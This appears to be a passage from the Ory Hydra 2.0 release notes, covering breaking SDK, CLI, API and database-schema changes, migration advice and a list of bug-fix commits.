code_access_token="{set to access token from output}" ory introspect token $code_access_token --project $project_id ``` What's changed in Ory Hydra 2.0? [OAuth 2.0 Token Exchange (RFC8693)](https://datatracker.ietf.org/doc/html/rfc8693) is now fully supported, including the JSON Web Token profile! Ory Identities is now compatible with the Ory OAuth2 Login and Consent Flow. This means, for example, that Ory Kratos can be the login provider for Ory Hydra with a bit of configuration. The Ory Network enables has this integration as a default. Ory Hydra 2.0 now natively supports key types such as ES256 for signing ID Tokens and OAuth 2.0 Access Tokens in JWT format. Additionally, the key naming mechanism was updated to conform with industry best practices. Ory Hydra 2.0 ships a complete refactoring of the internal database structure, reducing database storage at scale and optimizing query performance. All primary keys are now UUIDs to avoid hotspots in distributed systems. Please note that as part of this change it is no longer possible to choose the OAuth 2.0 Client ID. Instead, Ory chooses the best-performing ID format for the petabyte scale. Ory chose to denormalize tables that had a negative performance impact due to excessive JOIN statements. Using BCrypt as the primary hashing algorithm for OAuth 2.0 Client Secrets creates excessive CPU consumption at scale. OAuth 2.0 Client Secrets are auto-generated in Ory Hydra 2.x, removing the need for excessive hashing costs. The new PKBDF2 hasher can be fine-tuned to support hashing at scale without a significant threat model impact. This section only applies in scenarios where Ory Hydra is working in a do-it-yourself fashion e.g. on Docker. An Ory Hydra 2.0 compatible service is already available on the [Ory Network](https://www.ory.sh). The database schema changed significantly from the previous structure. Please be aware that there might be a period where the database tables will be locked for writes while the upgrade runs. **A full backup of the database before upgrading is essential!** We recommend trying out the upgrade on a copy of a production database first. To run the SQL migrations using: ``` hydra migrate sql $DSN ``` Ory Hydra 1.x is a crucial service at Ory. Version 2.0 streamlines the APIs and SDKs to follow Ory API’s semantics and specification. To better support TB-scale environments, the OAuth2 Client HTTP API's query parameters for pagination have changed from `limit` and `offset` to `page_token` and `page_size`. The `page_token` is an opaque string contained in the HTTP `Link` Header, which expresses the next, previous, first, and last page. Administrative endpoints now have an `/admin` prefix (e.g. `POST /admin/keys` instead of `POST /keys`). Existing administrative endpoints will redirect to this new prefixed path for backward compatibility. HTTP endpoint `/oauth2/flush`, used to flush inactive access tokens was deprecated and has been removed. Please use `hydra janitor` instead. To conform with the Ory V1 SDK, several SDK methods and payloads were renamed. Please check the [CHANGELOG](https://github.com/ory/hydra/blob/master/CHANGELOG.md) for a complete list of changes. The `iss` (issuer) value no longer appends a trailing slash but instead uses the raw value set in the config. Setting ```yaml urls: self: issuer: https://auth.example.com ``` has changed ```patch - "iss": "https://auth.example.com/" + "iss": "https://auth.example.com" ``` To set a trailing slash make sure to set it in the config value: ```yaml urls: self: issuer: https://auth.example.com/ ``` Flags `--dangerous-allow-insecure-redirect-url` and `--dangerous-force-http` have been removed. Use the `--dev` flag instead to denote a development environment with reduced security restrictions. We now recommend using the [Ory CLI](https://www.ory.sh/docs/guides/cli/installation) to manage OAuth2 resources. As part of this restructuring, some of the commands were renamed. Here are some examples: ```patch - hydra client create + ory create oauth2-client - hydra clients list + ory list oauth2-clients ``` Additionally, array arguments now use the singular form: ```patch hydra create client \ - --redirect-uris foo --redirect-uris bar \ + --redirect-uri foo --redirect-uri bar \ - --grant-types foo --grant-types bar \ + --grant-type foo --grant-type bar \ - --response-types foo --response-types bar \ + --response-type foo --response-type bar \ - --allowed-cors-origins foo --allowed-cors-origins bar \ + --allowed-cors-origin foo --allowed-cors-origin bar \ - --post-logout-callbacks foo --post-logout-callbacks bar \ + --post-logout-callback foo --post-logout-callback bar ``` To manage resources in a do-it-yourself installation, continue using the `hydra` CLI. Please check the [CHANGELOG](https://github.com/ory/hydra/blob/master/CHANGELOG.md) for a complete list of changes. Ory Hydra 2.0 ships with support for OpenTelemetry. The previous telemetry solution using OpenTracing format is deprecated with this release. ## Breaking Changes SDK naming has changed for the following operations: ```patch ory. - V0alpha2Api.AdminDeleteOAuth2Token(context.Background()). + OAuth2Api.DeleteOAuth2Token(context.Background()). ClientId("foobar").Execute() ory. - V0alpha2Api.RevokeOAuth2Token( + OAuth2Api.RevokeOAuth2Token( context.WithValue(context.Background(), sdk.ContextBasicAuth, sdk.BasicAuth{ UserName: clientID, Password: clientSecret, })).Token(token).Execute() ory. - V0alpha2Api.AdminIntrospectOAuth2Token(context.Background()). + OAuth2Api.IntrospectOAuth2Token(context.Background()). Token(token). Scope("foo bar")).Execute() ``` SDK naming has changed for the following operations: ```patch ory. - V0alpha2Api.DiscoverJsonWebKeys(context.Background()). + WellknownApi.DiscoverJsonWebKeys(context.Background()). Execute() ory. - V0alpha2Api.AdminGetJsonWebKeySet(context.Background(), setID). + JwkApi.GetJsonWebKeySet(context.Background(), setID). Execute() ory. - V0alpha2Api.AdminGetJsonWebKey(context.Background(), setID, keyID). + JwkApi.GetJsonWebKey(context.Background(), setID, keyID). Execute() ory. - V0alpha2Api.AdminCreateJsonWebKeySet(context.Background(), setID). - AdminCreateJsonWebKeySetBody(hydra.AdminCreateJsonWebKeySetBody{ - Alg: "RS256", - Use: "sig", + JwkApi.CreateJsonWebKeySet(context.Background(), setID). + CreateJsonWebKeySet(hydra.CreateJsonWebKeySet{ + Alg: "RS256", + Use: "sig", }).Execute() ory. - V0alpha2Api.AdminUpdateJsonWebKey(context.Background(), setID, keyID). + JwkApi.SetJsonWebKey(context.Background(), setID, keyID). JsonWebKey(jsonWebKey).Execute() ory. - V0alpha2Api.AdminUpdateJsonWebKeySet(context.Background(), setID). + JwkApi.SetJsonWebKeySet(context.Background(), setID). JsonWebKeySet(jsonWebKeySet).Execute() ory. - V0alpha2Api.AdminDeleteJsonWebKey(context.Background(), setID, keyID). JwkApi.DeleteJsonWebKey(context.Background(), setID, keyID). Execute() ory. - V0alpha2Api.AdminDeleteJsonWebKeySet(context.Background(), setID). JwkApi.DeleteJsonWebKeySet(context.Background(), setID). Execute() ``` SDK naming has changed for the following operations: ```patch ory. - V0alpha2Api.DiscoverJsonWebKeys(context.Background()). + WellknownApi.DiscoverJsonWebKeys(context.Background()). Execute() ory. - V0alpha2Api.AdminGetJsonWebKeySet(context.Background(), setID). + JwkApi.GetJsonWebKeySet(context.Background(), setID). Execute() ory. - V0alpha2Api.AdminGetJsonWebKey(context.Background(), setID, keyID). + JwkApi.GetJsonWebKey(context.Background(), setID, keyID). Execute() ory. - V0alpha2Api.AdminCreateJsonWebKeySet(context.Background(), setID). - AdminCreateJsonWebKeySetBody(hydra.AdminCreateJsonWebKeySetBody{ - Alg: "RS256", - Use: "sig", + JwkApi.CreateJsonWebKeySet(context.Background(), setID). + CreateJsonWebKeySet(hydra.CreateJsonWebKeySet{ + Alg: "RS256", + Use: "sig", }).Execute() ory. - V0alpha2Api.AdminUpdateJsonWebKey(context.Background(), setID, keyID). + JwkApi.SetJsonWebKey(context.Background(), setID, keyID). JsonWebKey(jsonWebKey).Execute() ory. - V0alpha2Api.AdminUpdateJsonWebKeySet(context.Background(), setID). + JwkApi.SetJsonWebKeySet(context.Background(), setID). JsonWebKeySet(jsonWebKeySet).Execute() ory. - V0alpha2Api.AdminDeleteJsonWebKey(context.Background(), setID, keyID). JwkApi.DeleteJsonWebKey(context.Background(), setID, keyID). Execute() ory. - V0alpha2Api.AdminDeleteJsonWebKeySet(context.Background(), setID). JwkApi.DeleteJsonWebKeySet(context.Background(), setID). Execute() ``` SDK naming has changed for the following operations: ```patch ory. - V0alpha2Api.AdminRevokeOAuth2ConsentSessions(cmd.Context()). + OAuth2Api.RevokeOAuth2ConsentSessions(context.Background()). Client(clientId).Execute() ory. - V0alpha2Api.AdminListOAuth2SubjectConsentSessions(cmd.Context(), id). + OAuth2Api.RevokeOAuth2ConsentSessions(context.Background()). Client(clientId).Execute() ory. - V0alpha2Api.AdminListOAuth2SubjectConsentSessions(context.Background()). + OAuth2Api.ListOAuth2ConsentSessions(context.Background()). Subject(subjectId).Execute() ory. - V0alpha2Api.AdminRevokeOAuth2LoginSessions(context.Background()). + OAuth2Api.RevokeOAuth2LoginSessions(context.Background()). Subject(subjectId).Execute() ory. - V0alpha2Api.AdminGetOAuth2LoginRequest(context.Background()). + OAuth2Api.GetOAuth2LoginRequest(context.Background()). LoginChallenge(challenge).Execute() ory. - V0alpha2Api.AdminAcceptOAuth2LoginRequest(context.Background()). + OAuth2Api.AcceptOAuth2LoginRequest(context.Background()). AcceptOAuth2LoginRequest(body). LoginChallenge(challenge).Execute() ory. - V0alpha2Api.AdminRejectOAuth2LoginRequest(context.Background()). + OAuth2Api.RejectOAuth2LoginRequest(context.Background()). RejectOAuth2Request(body). LoginChallenge(challenge).Execute() ory. - V0alpha2Api.AdminGetOAuth2ConsentRequest(context.Background()). + OAuth2Api.GetOAuth2ConsentRequest(context.Background()). ConsentChallenge(challenge).Execute() ory. - V0alpha2Api.AdminAcceptOAuth2ConsentRequest(context.Background()). + OAuth2Api.AcceptOAuth2ConsentRequest(context.Background()). AcceptOAuth2ConsentRequest(body). ConsentChallenge(challenge).Execute() ory. - V0alpha2Api.AdminRejectOAuth2ConsentRequest(context.Background()). + OAuth2Api.RejectOAuth2ConsentRequest(context.Background()). RejectOAuth2Request(). ConsentChallenge(challenge).Execute() ory. - V0alpha2Api.AdminAcceptOAuth2LogoutRequest(context.Background()). + OAuth2Api.AcceptOAuth2LogoutRequest(context.Background()). LogoutChallenge(challenge). Execute() ory. - V0alpha2Api.AdminRejectOAuth2LogoutRequest(context.Background()). + OAuth2Api.RejectOAuth2LogoutRequest(context.Background()). LogoutChallenge(challenge). Execute() ory. V0alpha2Api.AdminGetOAuth2LogoutRequest(context.Background()). + OAuth2Api.GetOAuth2LogoutRequest(context.Background()). LogoutChallenge(challenge). Execute() - var AlreadyHandledError HandledOAuth2LoginRequest + var AlreadyHandledError ErrorOAuth2LoginRequestAlreadyHandled - var AlreadyHandledError HandledOAuth2LoginRequest + var AlreadyHandledError ErrorOAuth2ConsentRequestAlreadyHandled - var OAuth2SuccessResponse SuccessfulOAuth2RequestResponse + var OAuth2SuccessResponse OAuth2RedirectTo ``` Error models in the generated SDK have been renamed: ```patch - oAuth2ApiError + errorOAuth2 ``` The SDK API for the following has changed: ```patch // Go example ory. - V0alpha2Api.AdminUpdateOAuth2Client(cmd.Context(), id) + Oauth2Api.SetOAuth2Client(cmd.Context(), id). OAuth2Client(client).Execute() ory. - V0alpha2Api.AdminGetOAuth2Client(cmd.Context(), id). + Oauth2Api.GetOAuth2Client(cmd.Context(), id). Execute() ory. - V0alpha2Api.AdminDeleteOAuth2Client(cmd.Context(), id). + Oauth2Api.DeleteOAuth2Client(cmd.Context(), id). Execute() ory. - V0alpha2Api.AdminCreateOAuth2Client(cmd.Context()). + Oauth2Api.CreateOAuth2Client(cmd.Context()). OAuth2Client(client).Execute() ory. - V0alpha2Api.DynamicClientRegistrationGetOAuth2Client(cmd.Context(), id). + OidcApi.GetOidcDynamicClient(cmd.Context(), id). Execute() ory. - V0alpha2Api.DynamicClientRegistrationGetOAuth2Client(cmd.Context()). + OidcApi.CreateOidcDynamicClient(cmd.Context()). OAuth2Client(client).Execute() ory. - V0alpha2Api.DynamicClientRegistrationDeleteOAuth2Client(cmd.Context()). + OidcApi.DeleteOidcDynamicClient(cmd.Context()). OAuth2Client(client).Execute() ory. - V0alpha2Api.DynamicClientRegistrationUpdateOAuth2Client(cmd.Context(), id). + OidcApi.SetOidcDynamicClient(cmd.Context(), id). Execute() ``` We removed compatibility with unsupported database versions (e.g. MySQL 5.6). Ory Hydra v2.x is now compatible with MySQL 8.0.13+, PostgreSQL 11.8+, CockroachDB v22.1.2+. Configuration keys have changed: ```patch serve: { public: { - access_log: { + request_log: { disable_for_health: true }, }, admin: { - access_log: { + request_log: { disable_for_health: true }, } } ``` Rename SDK method from `deleteOAuth2Token` to `adminDeleteOAuth2Token`. Rename SDK method from `oauth2Token` to `performOAuth2TokenFlow`. Rename SDK method from `introspectOAuth2Token` to `adminIntrospectOAuth2Token`. Rename SDK method from `userinfo` to `getOidcUserInfo`. Rename SDK method from `discoverOpenIDConfiguration` to `discoverOidcConfiguration`. Rename SDK method from `listTrustedJwtGrantIssuers` to `adminListTrustedOAuth2JwtGrantIssuers`. Rename SDK method from `deleteTrustedJwtGrantIssuer` to `adminDeleteTrustedOAuth2JwtGrantIssuer`. Rename SDK method from `getTrustedJwtGrantIssuer` to `adminGetTrustedOAuth2JwtGrantIssuer`. Rename SDK method from `trustJwtGrantIssuer` to `adminTrustOAuth2JwtGrantIssuer`. Rename SDK method from `rejectLogoutRequest` to `adminRejectOAuth2LogoutRequest`. Rename SDK method from `rejectConsentRequest` to `rejectOAuth2ConsentRequest`. Rename SDK method from `acceptConsentRequest` to `adminAcceptOAuth2ConsentRequest`. Rename SDK method from `getOAuth2ConsentRequest` to `adminGetOAuth2ConsentRequest`. Rename SDK method from `rejectLoginRequest` to `rejectOAuth2LoginRequest`. Rename SDK method from `acceptLoginRequest` to `adminAcceptOAuth2LoginRequest`. Rename SDK method from `getLoginRequest` to `adminGetOAuth2LoginRequest`. Rename SDK method from `revokeAuthenticationSession` to `adminRevokeOAuth2LoginSessions`. Rename SDK method from `adminListSubjectConsentSessions` to `adminListOAuth2SubjectConsentSessions`. Rename SDK method from `revokeConsentSessions` to `adminRevokeOAuth2ConsentSessions` This release updates SDK services from `public` and `admin` to `v2`. Methods exposed at the admin interface are now prefixed with `admin` (e.g. `adminCreateJsonWebKeySet`). Administrative endpoints now have an `/admin` prefix (e.g. `POST /admin/keys`). Existing administrative endpoints will redirect to this new prefixed path for backwards compatibility. This release updates SDK services from `public` and `admin` to `v2`. Methods exposed at the admin interface are now prefixed with `admin` (e.g. `adminCreateOAuth2Client`). Administrative endpoints now have an `/admin` prefix (e.g. `POST /admin/clients`). Existing administrative endpoints will redirect to this new prefixed path for backwards compatibility. The default names of cookies have changed: ```patch - oauth2_authentication_csrf + ory_hydra_login_csrf - oauth2_consent_csrf + ory_hydra_consent_csrf - oauth2_authentication_session + ory_hydra_session ``` Use the new configuration option to change the cookie names back to v1.x if required. CLI flag `--dangerous-force-http` has been removed. Please use the `--dev` flag instead! CLI flag `--dangerous-allow-insecure-redirect-url` has been removed. Please use the `--dev` flag instead! The `hydra token revoke` command has been renamed to `hydra revoke token` and now supports structured output (JSON, tables, ...). The `hydra token introspect` command has been renamed to `hydra introspect token` and now supports structured output (JSON, tables, ...). The `hydra token delete` command has been renamed to `hydra delete access-tokens` and now supports structured output (JSON, tables, ...). The `hydra token client` command has been renamed to `hydra perform client-credentials` and now supports structured output (JSON, tables, ...). The `hydra keys create|delete|get|import` commands have changed to follow other Ory project's guidelines, including structured output and improved handling. They are now: ``` hydra create jwks hydra get jwks hydra delete jwks hydra import jwk ``` Please head over to the documentation for more information or use the `--help` CLI flag for each command. HTTP endpoint `/oauth2/flush`, used to flush inactive access token was deprecated and has been removed. Please use `hydra janitor` instead. Command `hydra clients import` is now `hydra import client`. Command `hydra clients update` is now `hydra update client`. Additionally, all flags are now singular: ```patch hydra update client [client-id] \ - --redirect-uris foo --redirect-uris bar \ + --redirect-uri foo --redirect-uri bar \ - --grant-types foo --grant-types bar \ + --grant-type foo --grant-type bar \ - --response-types foo --response-types bar \ + --response-type foo --response-type bar \ - --allowed-cors-origins foo --allowed-cors-origins bar \ + --allowed-cors-origin foo --allowed-cors-origin bar \ - --post-logout-callbacks foo --post-logout-callbacks bar \ + --post-logout-callback foo --post-logout-callback bar ``` To better support TB-scale environments, the OAuth2 Client HTTP API's query parameters for pagination have changed from `limit` and `offset` to `page_token` and `page_size`. The `page_token` is an opaque string contained in the HTTP `Link` Header, which expresses the next, previous, first, and last page. Command `hydra clients list` is now `hydra list client`. Please notice that the pagination flags have changed to `--page-token` and `page-size`! Command `hydra clients delete` is now `hydra delete client`. Command `hydra clients get` is now `hydra get client`. Command `hydra clients create` is now `hydra create client`. Additionally, all flags are now singular: ```patch hydra create client \ - --redirect-uris foo --redirect-uris bar \ + --redirect-uri foo --redirect-uri bar \ - --grant-types foo --grant-types bar \ + --grant-type foo --grant-type bar \ - --response-types foo --response-types bar \ + --response-type foo --response-type bar \ - --allowed-cors-origins foo --allowed-cors-origins bar \ + --allowed-cors-origin foo --allowed-cors-origin bar \ - --post-logout-callbacks foo --post-logout-callbacks bar \ + --post-logout-callback foo --post-logout-callback bar ``` This change is backwards compatible, but changes the default hashing algorithm to PBKDF2. To keep using BCrypt for hashing new OAuth2 Client Secrets set the following configuration option in your configuration file: ``` oauth2: hashers: algorithm: bcrypt ``` To improve security and scalability (in particular sharding), OAuth 2.0 Client IDs can no longer be chosen but are always assigned a random generated UUID V4. OAuth 2.0 Clients created with custom IDs before the v2.0 release will continue working with their legacy Client ID in Ory Hydra v2.x. Additionally, the `hydra create client` command no longer supports flag `--id` and flag `--callbacks` has been renamed to `--redirect-uris`. The `iss` (issuer) value no longer appends a trailing slash but instead uses the raw value set in the config. Setting ```yaml urls: self: issuer: https://auth.example.com ``` has changed ```patch - "iss": "https://auth.example.com/" + "iss": "https://auth.example.com" ``` To set a trailing slash make sure to set it in the config value: ```yaml urls: self: issuer: https://auth.example.com/ ``` SDK object `PatchDocument` was renamed to `JsonPatchDocument`. TLS is no longer enabled by default. We want to make deployments behind TLS termination easier. To expose Ory Hydra directly to the public internet, configure keys `serve.<public|admin>.tls`. JSON Web Keys are no longer prefixed with `public` or `private`. This affects keys generated in Ory Hydra after upgrading to this patch. Existing keys are unaffected by this. OAuth2 errors can no longer be returned in the legacy error format. Essentially, fields `error_hint`, `error_debug` have been removed. Option `oauth2.include_legacy_error_fields` has been removed. The HS512 and HS256 JSON Web Key generators has been removed. It is now only possible to generate asymmetric keys in Ory Hydra. It will still be possible to save HS512 or HS256 keys. if using MySQL, hydra_jwk/kid and hydra_oauth2_trusted_jwt_bearer_issuer/key_id may only contain ascii/utf-8 symbols 0-127 Encode MySQL columns hydra_oauth2_trusted_jwt_bearer_issuer/key_id and hydra_jwk/kid in ascii as a workaround for the 3072-byte index entry size limit[1]. [1]: https://dev.mysql.com/doc/refman/8.0/en/innodb-limits.html Signed-off-by: Grant Zvolsky <[email protected]> This patch merges four SQL Tables into a new table, deleting the old tables in the process. The migrations in this patch are expected to be applied offline. Please be aware that *there are no down migrations*, and if something goes wrong, data loss is possible. Always back up your database before applying migrations. For more information, see [Hydra 2.x Migration Guide](https://www.ory.sh/hydra/docs/guides/migrate-v2). Rows with NULL login_challenge in `hydra_oauth2_consent_request` and corresponding `hydra_oauth2_consent_request_handled` are deleted as a side effect of the merge migration. This is done with the assumption that only a very small number of sessions, issued by pre-1.0 Hydra, will be affected. Please contact us if this assumption doesn't apply or if the deletion adversely affects your deployment. Signed-off-by: Grant Zvolsky <[email protected]> ### Bug Fixes * `allowed_top_level_claims` set to nil ([#3245](https://github.com/ory/hydra/issues/3245)) ([cd2c252](https://github.com/ory/hydra/commit/cd2c252b4bb737bdcf7db95ccd181b35337d31c7)) * `max_age=0` forces authentication ([2597f19](https://github.com/ory/hydra/commit/2597f190e83b2fdc98818892b89da3ecab644303)), closes [#3034](https://github.com/ory/hydra/issues/3034) * Add CORS to public health handler ([#3114](https://github.com/ory/hydra/issues/3114)) ([02c6d5d](https://github.com/ory/hydra/commit/02c6d5d4ea7e45f1ca89ab211f858b9552f20842)): Co-authored-by: Reaper <[email protected]> Co-authored-by: Patrik <[email protected]> Co-authored-by: Alano Terblanche <[email protected]> Co-authored-by: Reaper <[email protected]> * Add json1 tag everywhere ([dd1d733](https://github.com/ory/hydra/commit/dd1d733b0a162b45c2d11ab7f8cd7ec9f8e5e73b)) * Add missing down migrations ([a98c067](https://github.com/ory/hydra/commit/a98c06714b0b55cb08a987685786cdbfe45961ee)) * Allow retries of unused login & consent requests ([51a586b](https://github.com/ory/hydra/commit/51a586b0b2d8882e515d3e37ad4c8d39d27c22b2)), closes [#2914](https://github.com/ory/hydra/issues/2914) [#3085](https://github.com/ory/hydra/issues/3085) [#2824](https://github.com/ory/hydra/issues/2824) * Cache migration status ([7e25fdb](https://github.com/ory/hydra/commit/7e25fdbdeafa551430eb997d931f7e48573f0675)) * Client specific CORS ([9a4f9e9](https://github.com/ory/hydra/commit/9a4f9e9993ff78d317a8b3f979ddee408e982eef)), closes [#1754](https://github.com/ory/hydra/issues/1754) * **cli:** Output format issues ([fe3c899](https://github.com/ory/hydra/commit/fe3c89900d416069d879e4647c6221153c8444b2)) * Cockroach migration fixes ([7bed244](https://github.com/ory/hydra/commit/7bed24454c83a3b8e2613aa4acf14a36b21116cb)) * Compile errors ([d1f5a0e](https://github.com/ory/hydra/commit/d1f5a0efbd7f245a0adca3e9d69907254f051700)) * Compile issue ([83983c2](https://github.com/ory/hydra/commit/83983c2bbccaad9117640db22c5322e37cfcf7bc)) * Compile issues ([68cb7d5](https://github.com/ory/hydra/commit/68cb7d511f60fd4693c16b8847ec9ded71eb4352)) * Conditionals in db-diff ([a006b04](https://github.com/ory/hydra/commit/a006b0488272b45fe98a332521a21984424a9787)) * **config:** Add default to supported types. ([f4812c8](https://github.com/ory/hydra/commit/f4812c85872e852219c0baffab7a845c64c5795b)) * **config:** Correct salt detection ([2b6350c](https://github.com/ory/hydra/commit/2b6350c0e6be0317a47896cda7102e6a6c22199c)) * **config:** Disallow additional properties ([9022769](https://github.com/ory/hydra/commit/902276991df4ff3d303d11c262fcbfc896b464b4)) * **config:** Support number ([ab6a9ee](https://github.com/ory/hydra/commit/ab6a9ee23dc4f05b3e8a8d8daff16be65a42b354)) * ConfirmLoginSession, missing FKs; add tests ([1f7bf40](https://github.com/ory/hydra/commit/1f7bf40e4f76c9864d92f4cb3f4f408f7b13c88d)) * Conformity health check ([e163c80](https://github.com/ory/hydra/commit/e163c803b33a9c643e3286cbf7e31b51693f779a)) * Consistently use RS256 in hot reloading ([6376135](https://github.com/ory/hydra/commit/63761357c2b186397c9023ff36ed9c9f1ce772d6)) * Default back to RS256 keys ([891fb55](https://github.com/ory/hydra/commit/891fb551ad24fa9f949bb3860cb8b79603781d81)) * Disable NID tests with HSM enabled ([142cd13](https://github.com/ory/hydra/commit/142cd13382200aad186f11c3b9269ff8e129b3e2)): We currently don't support NID isolation in combination with HSM. * Docker image build ([1d8a8ff](https://github.com/ory/hydra/commit/1d8a8fff8c41eece869c0fcc2c40d219ee2d0ff9)) * Docker image build ([#3247](https://github.com/ory/hydra/issues/3247)) ([05bda6b](https://github.com/ory/hydra/commit/05bda6bfcc8f3b19830ccdf4df15d921e48ff3b8)) * Docker instructions ([063f61b](https://github.com/ory/hydra/commit/063f61beb2e931844a9eb6e7cd6e8776182e46df)) * Dont close crdb for reuse purposes ([11587ae](https://github.com/ory/hydra/commit/11587aed8484fdf42b10420fc77d0df0346c23e7)) * Fix hydra_client pk change mysql down migration ([#2791](https://github.com/ory/hydra/issues/2791)) ([560acce](https://github.com/ory/hydra/commit/560accee306a6f3b599798561230152579981085)) * Fix unbatched select in flushInactiveTokens ([a5cc6ea](https://github.com/ory/hydra/commit/a5cc6eaea9be1369557a1164e7d01fb179c92959)): chore: code review chore: format don't delete more tokens than expected. correct test. add nid in flush tokens. * Handle server error when refresh token requests come same time ([#3207](https://github.com/ory/hydra/issues/3207)) ([b0196c0](https://github.com/ory/hydra/commit/b0196c046b09fa80dfa15a14f343c407ef3500b2)) * High db cpu utilisation on query ([#3260](https://github.com/ory/hydra/issues/3260)) ([4bf995d](https://github.com/ory/hydra/commit/4bf995d2610414abc69380885afdf6dce46e4042)) * Hsm compile issues ([8571a67](https://github.com/ory/hydra/commit/8571a6712f18567b72c2cac3c3755eefa5b9a9d7)) * HSM test ([ca748a1](https://github.com/ory/hydra/commit/ca748a1d54c56a6dea48e2e7aa4a7fc35efeb518)) * **hsm:** Public key extraction ([57cf46c](https://github.com/ory/hydra/commit/57cf46c4ff3f00d37a11133a3e9fbc989d86039a)) * **hsm:** Public key extraction everywhere ([c9c2e01](https://github.com/ory/hydra/commit/c9c2e0163b353419564e10ec142b782fa94e52a4)) * Ignore cypress screenshots in git ([668a319](https://github.com/ory/hydra/commit/668a31924a2211712fa499b7fcc6ce6641fc2885)) * Improve duration pattern ([6c8dda8](https://github.com/ory/hydra/commit/6c8dda8667efdd528df3184a1e9384c0213a8b91)) * Improve health check reporting ([1bd0c52](https://github.com/ory/hydra/commit/1bd0c52302ce0c14a901e4120cbef558dab54962)) * Improve jwk generator defaults ([ece5ca6](https://github.com/ory/hydra/commit/ece5ca6a5733170ab68db1940c5d8e45f6fb1dbb)) * Improve lazy initialization of JWKs ([8cffc5b](https://github.com/ory/hydra/commit/8cffc5b1241d1478ea693a013d91e05aa0e5928f)) * Improve migration status speed ([1a4abd6](https://github.com/ory/hydra/commit/1a4abd6da98874360ba18d0cdff26980a1dad461)) * Improve time validation ([b32ff33](https://github.com/ory/hydra/commit/b32ff33f586c97c8a4c8083378deb898ba11bcbd)) * Incorrect queries ([255b4e2](https://github.com/ory/hydra/commit/255b4e225bfaa7b6b9b61354d708be919527ee82)) * **jwk:** Expose correct metadata algorithms ([0a786b7](https://github.com/ory/hydra/commit/0a786b7cd35f4311f85b3b6b9cb3af0444e4ad53)) * Lazy load PKI ([d65aa3a](https://github.com/ory/hydra/commit/d65aa3a9b676deace57744dfb3632392eec90781)) * Lint issues ([72a5cd8](https://github.com/ory/hydra/commit/72a5cd8cf4b2e980e378d183760837fbf7c7fd21)) * Make servicelocator explicit ([3a26385](https://github.com/ory/hydra/commit/3a263854d86e63a75b5e6a73cab81ba7a60ccfe9)) * Missing data in JWT grant ([#3143](https://github.com/ory/hydra/issues/3143)) ([c51b21b](https://github.com/ory/hydra/commit/c51b21bb2334a0a5413a0d25ea54478696808444)) * Move to v0alpha2 api spec ([a364db4](https://github.com/ory/hydra/commit/a364db4ff2cbd65116358929f9e5bb37fde0cc88)) * Mysql slice delete ([c56b958](https://github.com/ory/hydra/commit/c56b9585ecd8201b710805812f7abbb6a475bfc8)): - Add a workaround for [mysql slice delete](https://github.com/gobuffalo/pop/issues/699) - Optimize logout verification (save 1 db rountrip) - Update a test to use StaticContextualizer & revert CleanAndMigrate workaround - Ensure a Client generated with faker satisfies the DB schema - Remove unused argument from HandleConsentRequest * **mysql:** Fix mysql key too long error ([ba16958](https://github.com/ory/hydra/commit/ba16958cdfcee071ae3c67bf6f24dfd963a29ae9)) * **oauth2:** Incorrect TTL override ([7893a98](https://github.com/ory/hydra/commit/7893a980387e3d29978e535e81331014ac41820a)) * Optimise sql update to avoid redundant writes ([#3289](https://github.com/ory/hydra/issues/3289)) ([1aa6cc4](https://github.com/ory/hydra/commit/1aa6cc43f2a270f1853b6634f5af26344d077a97)), closes [#3137](https://github.com/ory/hydra/issues/3137): The SQL update here would potentially update a lot of rows, which did not need updating. In some DB engines, this would not be an issue, because the redundant writes are ignored. But on PostgreSQL engines, it is another story; here it would actually carry out the writes, leading to a potentially high number of redundant iops when the engine is vaccuming outdated records. With this change, the SQL update will only affect the rows which is not in the desired state already. * Pop compile issue ([3e7b6b4](https://github.com/ory/hydra/commit/3e7b6b412ea524529cad8d716a23c785f7c3e466)) * Postgres migration script ([#3249](https://github.com/ory/hydra/issues/3249)) ([d6e7f94](https://github.com/ory/hydra/commit/d6e7f94f5eb678c43d43af8054b6707ea545c9b1)) * Prefix paths correctly with /admin ([e130dfa](https://github.com/ory/hydra/commit/e130dfa93c596f86b057dfb35bcea6e58874f76c)) * Proper introspection output format ([#3312](https://github.com/ory/hydra/issues/3312)) ([8b77f5a](https://github.com/ory/hydra/commit/8b77f5ada22261fdcf87fc1a3b362a023a565abc)) * Quickstart with SQLite ([e58d3d1](https://github.com/ory/hydra/commit/e58d3d15eb835f94757fb39868d4570265772a9b)), closes [#3050](https://github.com/ory/hydra/issues/3050) * Regression in database layer ([1d78e79](https://github.com/ory/hydra/commit/1d78e79623af7bf7d59dd2e7d1ab741e838de95e)) * Remove deprecated config value ([8994190](https://github.com/ory/hydra/commit/8994190033ced6fac0a9e5aaffccd2d5e9428ac1)) * Remove goswagger generated client ([e2c8809](https://github.com/ory/hydra/commit/e2c8809bedf1cf78ce163f58232c23aaedd11593)) * Remove incorrect aliases ([2a20080](https://github.com/ory/hydra/commit/2a20080d1d1caa92d0483ec8fec5a5bf1e9d2267)) * Remove obsolete type patches ([e670d68](https://github.com/ory/hydra/commit/e670d68dad332824a49875e014d6957653eef4a2)) * Remove unnecessary load of TLS certificates at boot ([13691d3](https://github.com/ory/hydra/commit/13691d3995f4418c8a83caf3d22f5ca98152187a)) * Remove unused swagger struct ([4ff0690](https://github.com/ory/hydra/commit/4ff0690d895280b15b1a2f88540766b2adfe6f04)) * Replace of consent session expires values ([e1731ba](https://github.com/ory/hydra/commit/e1731baf51676d70cf04e6e674df697d4af3298c)) * Resolve a merge conflict in migration_test ([#2811](https://github.com/ory/hydra/issues/2811)) ([acb16c1](https://github.com/ory/hydra/commit/acb16c1c273e023c8c3854f7fc36ba653085c828)) * Resolve conformance build issues ([f6ee1d3](https://github.com/ory/hydra/commit/f6ee1d3bda00a3105815c12a7fa1f6fbc38a72a6)) * Resolve internal SDK regressions ([937e6ba](https://github.com/ory/hydra/commit/937e6baabf2df183ec6f5679b1507319a9988afa)) * Resolve merge conflicts ([6eee09c](https://github.com/ory/hydra/commit/6eee09cc72618121588d40877e0ee7bff3d5623c)) * Resolve migration regressions ([5552e4d](https://github.com/ory/hydra/commit/5552e4df97bb5990e05f19d38aca98b614b4f48a)) * Resolve test issues and regressions introduced by the new JWK generator ([77b1ac7](https://github.com/ory/hydra/commit/77b1ac749656e855092513fac3c459f439eefe54)) * Resolve token prefix regression ([1fd6ea3](https://github.com/ory/hydra/commit/1fd6ea3df64598095ba119350ec1cca3e2a44e72)) * Retry transient crdb transaction failures ([f0f3139](https://github.com/ory/hydra/commit/f0f3139efeb4b5ec74c875e350838aaf20045779)) * Revert latest docker image changes 